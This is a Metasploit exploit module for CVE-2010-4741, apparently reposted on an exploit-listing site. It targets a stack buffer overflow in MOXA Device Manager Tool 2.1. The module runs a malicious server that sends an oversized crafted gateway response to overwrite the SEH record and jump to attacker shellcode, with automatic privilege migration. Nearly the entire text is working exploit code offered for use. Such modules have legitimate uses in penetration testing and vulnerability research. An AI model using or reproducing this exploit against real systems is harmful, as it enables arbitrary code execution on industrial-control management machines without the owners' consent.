Author

metasploit

Risk

[

Security Risk High

]

0day-ID

0day-ID-27389

Category

local exploits

Date add

23-03-2017

CVE

CVE-2010-4741

Platform

windows

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
 
  Rank = GreatRanking
 
  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::Remote::Seh
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MOXA Device Manager Tool 2.1 Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in MOXA MDM Tool 2.1.
        When sending a specially crafted MDMGw (MDM2_Gateway) response, an
        attacker may be able to execute arbitrary code.
      },
      'Author'         => [ 'Ruben Santamarta', 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2010-4741'],
          [ 'OSVDB', '69027'],
          [ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=70&Itemid=' ],
          [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-10-301-01A.pdf' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Payload'        =>
        {
          'Space'    => 600,
          'BadChars' => "\x00\x0a\x0d\x20",
          'StackAdjustment' => -3500
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'MOXA MDM Tool 2.1', { 'Ret' => 0x1016bca7 } ], # UTU.dll / keeping the rop version for me...
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Oct 20 2010',
      'DefaultTarget'  => 0))
 
    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The daemon port to listen on.", 54321 ])
      ], self.class)
  end
 
  def on_client_connect(client)
 
    return if ((p = regenerate_payload(client)) == nil)
 
    client.get_once
 
    sploit = rand_text_alpha_upper(18024)
 
    sploit[0, 4] = [0x29001028].pack('V')
    sploit[472, payload.encoded.length] = payload.encoded
    sploit[1072, 8] = generate_seh_record(target.ret)
    sploit[1080, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-550").encode_string
 
    client.put(sploit)
 
    handler(client)
 
    service.close_client(client)
 
  end
end

#  0day.today [2024-11-15]  #